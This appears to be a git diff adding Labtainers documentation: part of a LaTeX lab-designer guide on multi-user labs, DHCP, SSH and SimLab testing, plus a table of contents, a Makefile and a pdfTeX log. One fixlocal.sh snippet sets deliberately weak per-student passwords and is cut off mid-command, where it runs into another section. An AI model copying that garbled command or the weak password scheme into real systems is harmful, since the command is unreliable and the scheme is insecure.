+\item Students then +start the lab on their individual VMs using start.py with the --workstation switch, which will cause +the student VM to only start the container identified as the ``CLIENT'' in the start.config file. +\end{itemize} + +When conformant labs (see \ref{conformant multi-user}) are started, the workstation containers +use DHCP to optain IP addresses from a Labtainers DHCP server. The MAC address of the workstation +container is derived from the MAC address of the Linux VM host-only network interface (to avoid +duplicate MAC addresses on the host-only network). + +\subsubsection {Single Labtainers VM with multiple students} +In this approach all the Labtainer containers will run on a single VM. +Students have access to one or more other +VMs hosted on the same VMM as the VM that hosts Labtainers. Students will SSH from these VMs into the container workstation +allocated to the student via the host-only network. The ssh command may include the ``-X'' option to permit X11 forwarding, thus allowing students to +run GUI-based applications on their workstation containers. + +\begin{itemize} +\item Allocate the host-only network to the Labtainers VM. Be sure +to disable the IPv4 networking for this network on the Labtainers VM, and +set the network interface to promisuous mode (within the Linux host as well). +\item Allocate the host-only network to each VM used by students to SSH into their +Labtainers workstation. Configure the network on the VM to use DHCP (the host-only +DHCP server should be disabled, the VM will get an IP from a Labtainer DHCP server.) + +\item Start the lab on the server VM using start.py and the --clone\_count (-n) switch, +specifying the quantity of per-student client containers to start. + +\item Students then ssh into their respective containers over the host-only network. +\end{itemize} + +Conformant labs will assign each student workstation component an IP address in a sequence, +starting from a fixed value. These IP addresses are allocated to the students. + +\subsection{Creating conformant multi-user labs} +\label{conformant multi-user} +The following suggestions are intended to yield labs that can be started in any of +the three operating modes. + +\begin{itemize} +\item The lab should include a ``client subnet'' via which multiple VMs will communicate. + +\item Within the {\tt start.config} file, identify this subnet as either a MACVLAN or +a MACVLAN\_EXT. The MACVLAN\_EXT +option will create a MACVLAN for this interface regardless of what mode the lab is started in, +and is only intended for use if the lab includes an external host as described in \ref{external hosts}. + +\item Itentify the client component within the {\tt start.config} file using: +\begin{verbatim} + CLIENT YES +\end{verbatim} + +\item Define the client component network address for the client subnet using the +{\tt +CLONE\_MAC} option, e.g., +\begin{verbatim} + LAN 192.168.1.10+CLONE_MAC +\end{verbatim} +\noindent When run in single user mode, the {\tt +CLONE\_MAC} suffix is ignored. When run +with multiple Labtainer instances, the last four bytes of the network MAC address for +each client is cloned from the network interface tied to the MACVLAN. When all multi-user +Labtainer workstations run on a single VM, then the IP address is incremented by one less +than the clone instance number. + +\item Include a dhcp server as one of your containers, e.g., per the dhcp-client lab. +The labtainer.network base includes the dnsmasq service, which includes a DHCP +server. Reconfigure dnsmasq to start the DHCP service, e.g., in your fixlocal.sh script. +\item Edit the dhcp container's {\tt \_system/etc/dnsmasq.conf} file to include the +range of DHCP addresses you wish to allocate to the clients. When multiple instances +of Labtainers are run, then ``client'' is the per-student Labtainer workstation. When +there is a single Labtainers VM, then ``clients'' are the VMs from which students +SSH into their Labtainer workstations. An example dnasq.conf entry is: +\begin{verbatim} + dhcp-range=192.168.1.10, 192.168.1.99, 12h +\end{verbatim} + + +\item Enable dhcp on the client workstation components by installing isc-dhcp-client +(via the Dockerfile), and putting this in the workstation \_system/etc/rc.local: +\begin{verbatim} +/sbin/dhclient-labtainer eth0 +\end{verbatim} +\noindent Note the dhclient-labtainer invokes the dhclient program and then +manually sets the ip address. This is a workaround for a Docker limitation. + +\item Include an SSH server in the workstation container, e.g., by deriving it from the labtainer.network base. +Include a {\tt \_system/etc/ssh/sshd\_config} file for the workstation container that permits X11 forwarding (if desired), +e.g., by copying the file from the kali-test lab. + +\item Password management (only has an effect in multiuser mode when all Labtainers components are on a single VM). +Assuming you'd like to allocate each student a unique (insecure) password for purposes of +further ensuring one student does not accidently ssh into some other student's workstation, put +this in the workstation's \_bin/fixlocal.sh file: +\begin{verbatim} + newpwd=studentCLONE\_NUM + user=$2 + /usr/bin/passwd $user </simthis.txt +\end{verbatim} +Note that simlab files are not in the svn trunk or in the github repository. These +files essentially contain lab solutions, and thus should not be openly published. +\footnote{If you require simlab files for existing labs, contact me and try to convince +me you actually need them (mfthomps@nps.edu).} + +With SimLab, you can fully automate the performance of a lab, including the use of GUIs. +This facilitates regression testing, and the initial development of labs -- particularly +the debugging of automated assessment. + +Full automation of regression testing is achieved using the {\tt smoketest.py} utlity +described below in \ref{smoketest} + +\subsection {SimLab Directives} +Directives within a {\tt simthis.txt} file name windows to select, (i.e., gain focus), +and keystrokes to generate as described in the list below. The SimLab utility includes +limited synchronization features to pause the input stream. These currently include a +directive to wait until some named process has completed execution; and a directive to wait +until network connections with a given host have terminated. + +The SimLab directives are as follows: +\begin{itemize} +\item \textbf{window} $<$text$>$ -- Selects the window having a title that contains. Note that +tabs within windows are selected by first selecting the window, and then use {\tt key "ctrl+Next"} +to tab over to the desired terminal tab. +the given text. Will timeout and fail after 20 seconds. +\item \textbf{window\_wait} $<$text$>$ -- Like window, but no timeout. Intended for +use when the xterm title is changed by a program. +\item \textbf{type\_line} $<$text$>$ -- Types the given text. +\item \textbf{key} $<$keysym$>$ -- Performs a keypress for the given X11 keysim, see +\url{http://xahlee.info/linux/linux\_show\_keycode\_keysym.html} and +\url{https://www.in-ulm.de/~mascheck/X11/keysyms.txt} +\item \textbf{rep\_key} $<$count$>$ $<$keysym$>$ -- Repeats a keypress for the given X11 keysim $<$count$>$ times. +\item \textbf{sleep} $<$seconds$>$ -- Sleeps for the given number of seconds. +\item \textbf{wait\_proc} $<$text$>$ -- Delays until a {\tt ps au $<$text$>$} returns nothing. +Intended for use to wait for a command to complete. This runs on the Linux host, so +do not be vauge, or it may never return. +\item \textbf{wait\_net} $<$container$>$:$<$text$>$ -- Delays until network connections to a given remote +host have terminated. The given $<$text$>$ is searched for as a substring within the host name ouput +from a {\tt netstat} command run on the given container. +\item \textbf{type\_file} $<$file name$>$ -- Reads and types each line in the named file. +Blank lines will cause a 2 second sleep. +\item \textbf{command\_file} $<$file name$>$ -- Intended for use in issuing a series of +commands from the shell. This reads and types each line in the named file. +A {\tt wait\_proc} function is then automatically performed on the line. +\item \textbf{key\_file} $<$file name$>$ -- Reads each line in the named file, and performs +a keypress. The lines should contain X11 keysims. Blank lines cause a 2 second sleep. +\item \textbf{replace\_file} $<$source file$>$ $<$container$>$:$<$dest file$>$ -- Copies content of a source +file on the Linux host relative the simlab directory, to a destination path on the named selected container. +\item \textbf{add\_file} $<$source file$>$ $<$dest file$>$ -- Will append text from the source file to the +end of the destination file. The destination file will be accessed from the currently selected virtual +terminal. This uses a simple VI scheme to append text, and thus assumes the window and cwd are as needed. +\item \textbf{include} $<$file$>$ Reads the named file and treats each line as a SimLab directive, +and then continues processing the next directive in the source file. This is similar to the C +include directive. +\item \textbf{type\_function} $<$command$>$ -- Will execute the given command, read stdout from the +command and then type that. + +\end{itemize} +\subsection{SimLab spplication notes} +\label{simlab_notes} +Most GUI's have shortcut keys that can be used to automate their inclusion in a lab. + +Firefox is brittle when it restarts. See the {\tt fixfirefox.txt} SimLab script for the snort lab +for an example of avoiding errors when Firefox restarts. + +\subsection{Regression testing with smoketest.py} \label{smoketest} +The {\tt smoketest.py} utility automates regression testing of labs. It will automatically: +\begin{itemize} +\item Start a lab +\item Use SimLab to perform the lab +\item Stop the lab +\item Use {\tt gradelab} to assess the lab +\item Compare the results of gradelab to those stored in the directory at: +\begin{verbatim} +labtainer/simlab//expected/ +\end{verbatim} +\end{itemize} +If {\tt smoketest.py} is started with no parameters, it will iterate through each lab in the labs +directory. The that lab lacks {\tt simthis.txt} file, then the lab is simply started and stopped +(hence the tool's name). The tool will stop upon encountering the first error. +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labdesigner.toc b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labdesigner.toc new file mode 100644 index 000000000..7a9b15ca3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labdesigner.toc @@ -0,0 +1,83 @@ +\contentsline {section}{\numberline {1}Introduction}{3}{section.1} +\contentsline {subsection}{\numberline {1.1}Benefits of Labtainers}{3}{subsection.1.1} +\contentsline {subsection}{\numberline {1.2}Obtaining the Labtainer development kit}{3}{subsection.1.2} +\contentsline {subsection}{\numberline {1.3}Content of this guide}{4}{subsection.1.3} +\contentsline {section}{\numberline {2}Overview of the student environment and workflow}{5}{section.2} +\contentsline {section}{\numberline {3}Creating new labs}{6}{section.3} +\contentsline {subsection}{\numberline {3.1}Create the first lab computer}{6}{subsection.3.1} +\contentsline {subsection}{\numberline {3.2}Testing the new lab}{7}{subsection.3.2} +\contentsline {subsection}{\numberline {3.3}Multiple containers}{8}{subsection.3.3} +\contentsline {section}{\numberline {4}Defining the lab execution environment}{8}{section.4} +\contentsline {subsection}{\numberline {4.1}Docker files}{8}{subsection.4.1} +\contentsline {subsection}{\numberline {4.2}Container definitions in start.config}{9}{subsection.4.2} +\contentsline {subsection}{\numberline {4.3}Lab-specific files in the student's home directory}{11}{subsection.4.3} +\contentsline {subsubsection}{\numberline {4.3.1}Large or numerous files in the home directory}{12}{subsubsection.4.3.1} +\contentsline {subsection}{\numberline {4.4}Lab-specific system files}{12}{subsection.4.4} +\contentsline {subsection}{\numberline {4.5}System services}{13}{subsection.4.5} +\contentsline {subsection}{\numberline {4.6}Instructions for Students}{13}{subsection.4.6} +\contentsline {subsection}{\numberline {4.7}Running programs in Virtual Terminals}{13}{subsection.4.7} +\contentsline {subsection}{\numberline {4.8}Final lab environment fixup}{14}{subsection.4.8} +\contentsline {subsection}{\numberline {4.9}Automatic copying files from containers to the host}{14}{subsection.4.9} +\contentsline {section}{\numberline {5}Parameterizing a lab}{15}{section.5} +\contentsline {subsection}{\numberline {5.1}Parameterization configuration file syntax}{15}{subsection.5.1} +\contentsline {subsection}{\numberline {5.2}Synchronizing startup and parameterization}{17}{subsection.5.2} +\contentsline {subsection}{\numberline {5.3}Parameterizing start.config}{17}{subsection.5.3} +\contentsline {subsection}{\numberline {5.4}Simple Parameterization for Checking Own-work}{17}{subsection.5.4} +\contentsline {section}{\numberline {6}Automated assessment of student labs}{17}{section.6} +\contentsline {subsection}{\numberline {6.1}Artifact files}{18}{subsection.6.1} +\contentsline {subsubsection}{\numberline {6.1.1}Capturing stdin and stdout}{18}{subsubsection.6.1.1} +\contentsline {subsubsection}{\numberline {6.1.2}Capturing program file output}{19}{subsubsection.6.1.2} +\contentsline {subsubsection}{\numberline {6.1.3}Bash History}{19}{subsubsection.6.1.3} +\contentsline {subsubsection}{\numberline {6.1.4}System logs}{19}{subsubsection.6.1.4} +\contentsline {subsubsection}{\numberline {6.1.5}Capturing information about the environment}{19}{subsubsection.6.1.5} +\contentsline {subsubsection}{\numberline {6.1.6}Capturing file access events}{20}{subsubsection.6.1.6} +\contentsline {subsubsection}{\numberline {6.1.7}Generating results upon stopping the lab}{21}{subsubsection.6.1.7} +\contentsline {subsubsection}{\numberline {6.1.8}Artifact archives}{21}{subsubsection.6.1.8} +\contentsline {subsection}{\numberline {6.2}Artifact result values}{21}{subsection.6.2} +\contentsline {subsubsection}{\numberline {6.2.1}Converting artifact file formats}{24}{subsubsection.6.2.1} +\contentsline {subsection}{\numberline {6.3}Evaluating results}{24}{subsection.6.3} +\contentsline {subsubsection}{\numberline {6.3.1}Assessment Report}{28}{subsubsection.6.3.1} +\contentsline {subsubsection}{\numberline {6.3.2}Document the meaning of goals}{28}{subsubsection.6.3.2} +\contentsline {subsection}{\numberline {6.4}Assessment examples}{28}{subsection.6.4} +\contentsline {subsubsection}{\numberline {6.4.1}Do artifact files contain specific strings?}{29}{subsubsection.6.4.1} +\contentsline {subsubsection}{\numberline {6.4.2}Compare value of a field from a selected line in an artifact file}{29}{subsubsection.6.4.2} +\contentsline {subsubsection}{\numberline {6.4.3}My desired artifacts are not in stdin or stdout, the program outputs a file}{29}{subsubsection.6.4.3} +\contentsline {subsubsection}{\numberline {6.4.4}Distinguish log file entries generated before and after configuration changes}{29}{subsubsection.6.4.4} +\contentsline {subsubsection}{\numberline {6.4.5}Delimiting logs by starting services}{30}{subsubsection.6.4.5} +\contentsline {subsubsection}{\numberline {6.4.6}Delimiting time using log file entries}{31}{subsubsection.6.4.6} +\contentsline {subsection}{\numberline {6.5}Debugging automated assessment in labs}{31}{subsection.6.5} +\contentsline {section}{\numberline {7}Networking}{31}{section.7} +\contentsline {subsection}{\numberline {7.1}Realistic Network Routing and DNS}{32}{subsection.7.1} +\contentsline {subsection}{\numberline {7.2}Communicating with external hosts or VMs}{32}{subsection.7.2} +\contentsline {section}{\numberline {8}Building, Maintaining and Publishing Labs}{33}{section.8} +\contentsline {subsection}{\numberline {8.1}NPS Development Operations}{34}{subsection.8.1} +\contentsline {subsection}{\numberline {8.2}Alternate registry for testing}{35}{subsection.8.2} +\contentsline {subsection}{\numberline {8.3}Reuse of large file sets}{35}{subsection.8.3} +\contentsline {subsection}{\numberline {8.4}Package sources for apt and yum}{35}{subsection.8.4} +\contentsline {subsection}{\numberline {8.5}Locale settings}{35}{subsection.8.5} +\contentsline {subsection}{\numberline {8.6}Lab versions}{36}{subsection.8.6} +\contentsline {section}{\numberline {9}Multi-user Labtainers}{36}{section.9} +\contentsline {subsubsection}{\numberline {9.0.1}Multi-user Labtainers, one Labtainer VM per student}{37}{subsubsection.9.0.1} +\contentsline {subsubsection}{\numberline {9.0.2}Single Labtainers VM with multiple students}{38}{subsubsection.9.0.2} +\contentsline {subsection}{\numberline {9.1}Creating conformant multi-user labs}{38}{subsection.9.1} +\contentsline {section}{\numberline {10}Limitations}{40}{section.10} +\contentsline {section}{\numberline {11}Notes}{40}{section.11} +\contentsline {subsection}{\numberline {11.1}Firefox}{40}{subsection.11.1} +\contentsline {subsection}{\numberline {11.2}Wireshark}{40}{subsection.11.2} +\contentsline {subsection}{\numberline {11.3}Elgg}{41}{subsection.11.3} +\contentsline {subsection}{\numberline {11.4}Host OS dependencies}{41}{subsection.11.4} +\contentsline {subsection}{\numberline {11.5}Login Prompts}{41}{subsection.11.5} +\contentsline {subsection}{\numberline {11.6}Networking Notes}{41}{subsection.11.6} +\contentsline {subsubsection}{\numberline {11.6.1}SSH}{41}{subsubsection.11.6.1} +\contentsline {subsubsection}{\numberline {11.6.2}X11 over SSH}{41}{subsubsection.11.6.2} +\contentsline {subsubsection}{\numberline {11.6.3}Traffic mirroring}{41}{subsubsection.11.6.3} +\contentsline {subsubsection}{\numberline {11.6.4}DNS}{42}{subsubsection.11.6.4} +\contentsline {subsubsection}{\numberline {11.6.5}Overriding Docker routing and DNS}{42}{subsubsection.11.6.5} +\contentsline {subsection}{\numberline {11.7}User management and sudo}{42}{subsection.11.7} +\contentsline {subsection}{\numberline {11.8}Suggestions for Developers}{42}{subsection.11.8} +\contentsline {subsection}{\numberline {11.9}Container isolation}{43}{subsection.11.9} +\contentsline {subsection}{\numberline {11.10}Student self assessment}{43}{subsection.11.10} +\contentsline {section}{\numberline {A}\\SimLab for testing labs}{44}{appendix.A} +\contentsline {subsection}{\numberline {A.1}SimLab Directives}{44}{subsection.A.1} +\contentsline {subsection}{\numberline {A.2}SimLab spplication notes}{45}{subsection.A.2} +\contentsline {subsection}{\numberline {A.3}Regression testing with smoketest.py}{45}{subsection.A.3} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/multiuser-multilabtainers.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/multiuser-multilabtainers.jpg new file mode 100644 index 000000000..c4cd35e48 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/multiuser-multilabtainers.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/multiuser-onelabtainer.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/multiuser-onelabtainer.jpg new file mode 100644 index 000000000..91db007f3 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/multiuser-onelabtainer.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/InstallingVB-LinuxMac.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/InstallingVB-LinuxMac.pdf new file mode 100755 index 000000000..fcdb2544f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/InstallingVB-LinuxMac.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/InstallingVB-LinuxWin.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/InstallingVB-LinuxWin.docx new file mode 100644 index 000000000..424afabe8 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/InstallingVB-LinuxWin.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/InstallingVB-LinuxWin.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/InstallingVB-LinuxWin.pdf new file mode 100755 index 000000000..eb98b5a23 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/InstallingVB-LinuxWin.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/Makefile new file mode 100644 index 000000000..cd52460d3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/Makefile @@ -0,0 +1,11 @@ +all: InstallingVB-LinuxWin.pdf labtainer-student.pdf + +InstallingVB-LinuxWin.pdf: InstallingVB-LinuxWin.docx + soffice --convert-to pdf InstallingVB-LinuxWin.docx --headless + +labtainer-student.pdf: InstallingVB-LinuxWin.pdf labtainer-student.tex + latex labtainer-student + pdflatex labtainer-student +clean: + rm -fr auto + rm -fr labtainer-student.aux labtainer-student.pdf *.ps *.dvi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/labtainer-student.aux b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/labtainer-student.aux new file mode 100644 index 000000000..d39e09494 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/labtainer-student.aux @@ -0,0 +1,40 @@ +\relax +\providecommand\hyper@newdestlabel[2]{} +\providecommand\BKM@entry[2]{} +\providecommand\HyperFirstAtBeginDocument{\AtBeginDocument} +\HyperFirstAtBeginDocument{\ifx\hyper@anchor\@undefined +\global\let\oldcontentsline\contentsline +\gdef\contentsline#1#2#3#4{\oldcontentsline{#1}{#2}{#3}} +\global\let\oldnewlabel\newlabel +\gdef\newlabel#1#2{\newlabelxx{#1}#2} +\gdef\newlabelxx#1#2#3#4#5#6{\oldnewlabel{#1}{{#2}{#3}}} +\AtEndDocument{\ifx\hyper@anchor\@undefined +\let\contentsline\oldcontentsline +\let\newlabel\oldnewlabel +\fi} +\fi} +\global\let\hyper@last\relax +\gdef\HyperFirstAtBeginDocument#1{#1} +\providecommand\HyField@AuxAddToFields[1]{} +\providecommand\HyField@AuxAddToCoFields[2]{} +\BKM@entry{id=1,dest={73656374696F6E2E31},srcline={24}}{496E74726F64756374696F6E} +\BKM@entry{id=2,dest={73756273656374696F6E2E312E31},srcline={38}}{4F627461696E696E6720616E6420696E7374616C6C696E67204C61627461696E657273} +\BKM@entry{id=3,dest={73656374696F6E2E32},srcline={68}}{506572666F726D696E672061204C6162} +\@writefile{toc}{\contentsline {section}{\numberline {1}Introduction}{1}{section.1}} +\@writefile{toc}{\contentsline {subsection}{\numberline {1.1}Obtaining and installing Labtainers}{1}{subsection.1.1}} +\@writefile{toc}{\contentsline {section}{\numberline {2}Performing a Lab}{1}{section.2}} +\BKM@entry{id=4,dest={73756273656374696F6E2E322E31},srcline={112}}{496E74657272757074696E6720616E6420436F6D706C6574696E67204C616273} +\BKM@entry{id=5,dest={73756273656374696F6E2E322E32},srcline={127}}{5265646F696E672061204C6162} +\BKM@entry{id=6,dest={73756273656374696F6E2E322E33},srcline={135}}{436865636B696E6720796F757220776F726B} +\@writefile{toc}{\contentsline {subsection}{\numberline {2.1}Interrupting and Completing Labs}{2}{subsection.2.1}} +\@writefile{toc}{\contentsline {subsection}{\numberline {2.2}Redoing a Lab}{2}{subsection.2.2}} +\BKM@entry{id=7,dest={73756273656374696F6E2E322E34},srcline={141}}{47657474696E672048656C7020616E64205468696E677320746F2041766F6964} +\BKM@entry{id=8,dest={73756273656374696F6E2E322E35},srcline={151}}{4E6574776F726B696E67} +\BKM@entry{id=9,dest={73756273656374696F6E2E322E36},srcline={166}}{496E7374616C6C696E6720616E64205573696E67204C61627461696E65727320426568696E642061205765622050726F7879} +\BKM@entry{id=10,dest={73756273656374696F6E2E322E37},srcline={183}}{4C696D69746174696F6E73} +\@writefile{toc}{\contentsline {subsection}{\numberline {2.3}Checking your work}{3}{subsection.2.3}} +\@writefile{toc}{\contentsline {subsection}{\numberline {2.4}Getting Help and Things to Avoid}{3}{subsection.2.4}} +\@writefile{toc}{\contentsline {subsection}{\numberline {2.5}Networking}{3}{subsection.2.5}} +\@writefile{toc}{\contentsline {subsection}{\numberline {2.6}Installing and Using Labtainers Behind a Web Proxy}{3}{subsection.2.6}} +\@writefile{toc}{\contentsline {subsection}{\numberline {2.7}Limitations}{3}{subsection.2.7}} +\newlabel{sec:appendixC}{{2.7}{C}{Appendix C: Labtainer Command Summary}{section*.1}{}} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/labtainer-student.dvi b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/labtainer-student.dvi new file mode 100644 index 000000000..30a38660b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/labtainer-student.dvi differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/labtainer-student.log b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/labtainer-student.log new file mode 100644 index 000000000..3fe18236a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/student/labtainer-student.log @@ -0,0 +1,1010 @@ +This is pdfTeX, Version 3.14159265-2.6-1.40.16 (TeX Live 2015/Debian) (preloaded format=pdflatex 2019.6.19) 19 JUN 2019 12:22 +entering extended mode + restricted \write18 enabled. + %&-line parsing enabled. +**labtainer-student +(./labtainer-student.tex +LaTeX2e <2016/02/01> +Babel <3.9q> and hyphenation patterns for 3 language(s) loaded. +(/usr/share/texlive/texmf-dist/tex/latex/base/article.cls +Document Class: article 2014/09/29 v1.4h Standard LaTeX document class +(/usr/share/texlive/texmf-dist/tex/latex/base/size12.clo +File: size12.clo 2014/09/29 v1.4h Standard LaTeX file (size option) +) +\c@part=\count79 +\c@section=\count80 +\c@subsection=\count81 +\c@subsubsection=\count82 +\c@paragraph=\count83 +\c@subparagraph=\count84 +\c@figure=\count85 +\c@table=\count86 +\abovecaptionskip=\skip41 +\belowcaptionskip=\skip42 +\bibindent=\dimen102 +) +(/usr/share/texlive/texmf-dist/tex/latex/geometry/geometry.sty +Package: geometry 2010/09/12 v5.6 Page Geometry + +(/usr/share/texlive/texmf-dist/tex/latex/graphics/keyval.sty +Package: keyval 2014/10/28 v1.15 key=value parser (DPC) +\KV@toks@=\toks14 +) +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/ifpdf.sty +Package: ifpdf 2011/01/30 v2.3 Provides the ifpdf switch (HO) +Package ifpdf Info: pdfTeX in PDF mode is detected. +) +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/ifvtex.sty +Package: ifvtex 2010/03/01 v1.5 Detect VTeX and its facilities (HO) +Package ifvtex Info: VTeX not detected. +) +(/usr/share/texlive/texmf-dist/tex/generic/ifxetex/ifxetex.sty +Package: ifxetex 2010/09/12 v0.6 Provides ifxetex conditional +) +\Gm@cnth=\count87 +\Gm@cntv=\count88 +\c@Gm@tempcnt=\count89 +\Gm@bindingoffset=\dimen103 +\Gm@wd@mp=\dimen104 +\Gm@odd@mp=\dimen105 +\Gm@even@mp=\dimen106 +\Gm@layoutwidth=\dimen107 +\Gm@layoutheight=\dimen108 +\Gm@layouthoffset=\dimen109 +\Gm@layoutvoffset=\dimen110 +\Gm@dimlist=\toks15 +) +(/usr/share/texlive/texmf-dist/tex/latex/hyperref/hyperref.sty +Package: hyperref 2012/11/06 v6.83m Hypertext links for LaTeX + +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/hobsub-hyperref.sty +Package: hobsub-hyperref 2012/05/28 v1.13 Bundle oberdiek, subset hyperref (HO) + + +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/hobsub-generic.sty +Package: hobsub-generic 2012/05/28 v1.13 Bundle oberdiek, subset generic (HO) +Package: hobsub 2012/05/28 v1.13 Construct package bundles (HO) +Package: infwarerr 2010/04/08 v1.3 Providing info/warning/error messages (HO) +Package: ltxcmds 2011/11/09 v1.22 LaTeX kernel commands for general use (HO) +Package: ifluatex 2010/03/01 v1.3 Provides the ifluatex switch (HO) +Package ifluatex Info: LuaTeX not detected. +Package hobsub Info: Skipping package `ifvtex' (already loaded). +Package: intcalc 2007/09/27 v1.1 Expandable calculations with integers (HO) +Package hobsub Info: Skipping package `ifpdf' (already loaded). +Package: etexcmds 2011/02/16 v1.5 Avoid name clashes with e-TeX commands (HO) +Package etexcmds Info: Could not find \expanded. +(etexcmds) That can mean that you are not using pdfTeX 1.50 or +(etexcmds) that some package has redefined \expanded. +(etexcmds) In the latter case, load this package earlier. +Package: kvsetkeys 2012/04/25 v1.16 Key value parser (HO) +Package: kvdefinekeys 2011/04/07 v1.3 Define keys (HO) +Package: pdftexcmds 2011/11/29 v0.20 Utility functions of pdfTeX for LuaTeX (HO +) +Package pdftexcmds Info: LuaTeX not detected. +Package pdftexcmds Info: \pdf@primitive is available. +Package pdftexcmds Info: \pdf@ifprimitive is available. +Package pdftexcmds Info: \pdfdraftmode found. +Package: pdfescape 2011/11/25 v1.13 Implements pdfTeX's escape features (HO) +Package: bigintcalc 2012/04/08 v1.3 Expandable calculations on big integers (HO +) +Package: bitset 2011/01/30 v1.1 Handle bit-vector datatype (HO) +Package: uniquecounter 2011/01/30 v1.2 Provide unlimited unique counter (HO) +) +Package hobsub Info: Skipping package `hobsub' (already loaded). +Package: letltxmacro 2010/09/02 v1.4 Let assignment for LaTeX macros (HO) +Package: hopatch 2012/05/28 v1.2 Wrapper for package hooks (HO) +Package: xcolor-patch 2011/01/30 xcolor patch +Package: atveryend 2011/06/30 v1.8 Hooks at the very end of document (HO) +Package atveryend Info: \enddocument detected (standard20110627). +Package: atbegshi 2011/10/05 v1.16 At begin shipout hook (HO) +Package: refcount 2011/10/16 v3.4 Data extraction from label references (HO) +Package: hycolor 2011/01/30 v1.7 Color options for hyperref/bookmark (HO) +) +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/auxhook.sty +Package: auxhook 2011/03/04 v1.3 Hooks for auxiliary files (HO) +) +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/kvoptions.sty +Package: kvoptions 2011/06/30 v3.11 Key value format for package options (HO) +) +\@linkdim=\dimen111 +\Hy@linkcounter=\count90 +\Hy@pagecounter=\count91 + +(/usr/share/texlive/texmf-dist/tex/latex/hyperref/pd1enc.def +File: pd1enc.def 2012/11/06 v6.83m Hyperref: PDFDocEncoding definition (HO) +) +\Hy@SavedSpaceFactor=\count92 + +(/usr/share/texlive/texmf-dist/tex/latex/latexconfig/hyperref.cfg +File: hyperref.cfg 2002/06/06 v1.2 hyperref configuration of TeXLive +) +Package hyperref Info: Option `colorlinks' set `true' on input line 4319. +Package hyperref Info: Hyper figures OFF on input line 4443. +Package hyperref Info: Link nesting OFF on input line 4448. +Package hyperref Info: Hyper index ON on input line 4451. +Package hyperref Info: Plain pages OFF on input line 4458. +Package hyperref Info: Backreferencing OFF on input line 4463. +Package hyperref Info: Implicit mode ON; LaTeX internals redefined. +Package hyperref Info: Bookmarks ON on input line 4688. +\c@Hy@tempcnt=\count93 + +(/usr/share/texlive/texmf-dist/tex/latex/url/url.sty +\Urlmuskip=\muskip10 +Package: url 2013/09/16 ver 3.4 Verb mode for urls, etc. +) +LaTeX Info: Redefining \url on input line 5041. +\XeTeXLinkMargin=\dimen112 +\Fld@menulength=\count94 +\Field@Width=\dimen113 +\Fld@charsize=\dimen114 +Package hyperref Info: Hyper figures OFF on input line 6295. +Package hyperref Info: Link nesting OFF on input line 6300. +Package hyperref Info: Hyper index ON on input line 6303. +Package hyperref Info: backreferencing OFF on input line 6310. +Package hyperref Info: Link coloring ON on input line 6313. +Package hyperref Info: Link coloring with OCG OFF on input line 6320. +Package hyperref Info: PDF/A mode OFF on input line 6325. +LaTeX Info: Redefining \ref on input line 6365. +LaTeX Info: Redefining \pageref on input line 6369. +\Hy@abspage=\count95 +\c@Item=\count96 +\c@Hfootnote=\count97 +) + +Package hyperref Message: Driver (autodetected): hpdftex. + +(/usr/share/texlive/texmf-dist/tex/latex/hyperref/hpdftex.def +File: hpdftex.def 2012/11/06 v6.83m Hyperref driver for pdfTeX +\Fld@listcount=\count98 +\c@bookmark@seq@number=\count99 + +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/rerunfilecheck.sty +Package: rerunfilecheck 2011/04/15 v1.7 Rerun checks for auxiliary files (HO) +Package uniquecounter Info: New unique counter `rerunfilecheck' on input line 2 +82. +) +\Hy@SectionHShift=\skip43 +) +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/bookmark.sty +Package: bookmark 2011/12/02 v1.24 PDF bookmarks (HO) + +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/bkm-pdftex.def +File: bkm-pdftex.def 2011/12/02 v1.24 bookmark driver for pdfTeX (HO) +\BKM@id=\count100 +)) +(/usr/share/texlive/texmf-dist/tex/latex/pdfpages/pdfpages.sty +Package: pdfpages 2015/09/18 v0.5d Insert pages of external PDF documents (AM) + +(/usr/share/texlive/texmf-dist/tex/latex/base/ifthen.sty +Package: ifthen 2014/09/29 v1.1c Standard 